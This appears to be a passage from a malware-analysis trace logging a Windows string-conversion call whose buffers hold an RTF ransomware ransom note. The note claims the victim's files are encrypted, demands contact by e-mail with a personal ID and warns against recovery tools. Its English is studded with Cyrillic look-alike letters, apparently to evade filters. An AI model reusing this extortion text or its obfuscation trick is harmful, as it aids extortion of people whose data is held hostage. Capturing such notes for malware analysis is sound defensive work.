urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with 